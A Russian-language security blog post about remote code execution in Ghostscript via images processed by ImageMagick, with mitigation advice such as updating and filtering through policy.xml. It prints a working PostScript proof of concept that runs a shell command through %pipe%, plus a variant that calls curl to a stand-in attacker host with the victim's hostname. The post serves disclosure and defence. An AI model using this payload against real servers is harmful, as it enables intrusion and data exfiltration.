Удалённое выполнение кода через загрузку картинок на вашем сервере или локальном компьютере в ghostscript-imagick

в 10:00, , рубрики: ghostscript, imagick, rce, информационная безопасность, Разработка веб-сайтов

Кратко: если у вас на сайте есть загрузка изображений и вы обрабатываете их при помощи популярной библиотеки ImageMagick, то загрузив картинку можно выполнить shell-команду с правами юзера веб-сервера (например: загрузить RAT, майнер, слить исходники, получить доступ к базе, вызвать отказ и т.п.)

Странно, что мимо хабросообщества прошла стороной новость (оригинал) о новых дырах в библиотеке GhostScript и как следствие множестве других библиотек, использующих её под капотом. Итак, что мы имеем?

Как проверить, что ваш сервер уязвим?

Берём и загружаем тестовый .ps файл на сервер вместо картинки. Пример файла ниже не сильно вредит — лишь делает 5-секундную задержку. Если сервер отвечает дольше 5 секунд, то у вас проблема: или ваш сервис уязвим или он оооочень медленно работает =)

%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).

userdict /setpagedevice undef
a4

currentpagedevice /HWResolution get 0 (foobar) put
{ grestore } stopped clear

% make sure we have a device with OutputFile
(ppmraw) selectdevice

mark /OutputFile (%pipe% `sleep 5`) currentdevice putdeviceprops

{ showpage } stopped pop
quit

Ключевая команда: sleep 5

Альтернативной командой может быть

mark /OutputFile (%pipe% curl evilserver.su/GHOSTSCRIPT-RCE-HOOK/`hostname`) currentdevice putdeviceprops

или что-то гораздо менее безобидное.

Векторов эксплуатации множество. Кроме загрузки в обработчик картинок можно просто прислать ссылку на .ps файл жертве и так как в большинстве ОС при сохранении его на компьютер создаётся превью, это также вызывает эксплуатацию (проверено лично на Linux десктопе). На момент написания ни один антивирус не детектил тестовые .ps файлы как опасные.

Что делать?

К сожалению, не смотря на публикацию информации об уязвимости и исправление ошибки, в обновлениях дистрибутивов может не быть исправленной версии — нужна та что свежее 28 августа.

На серверах можно сделать предварительную проверку типа изображения сторонней библиотекой, фильтрацию через policymap файл ImageMagick/policy.xml и не обрабатывать уязвимые типы файлов. Также SELinux должен закрыть часть векторов атак, например запись в нестандартные папки.

Автор: kid

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js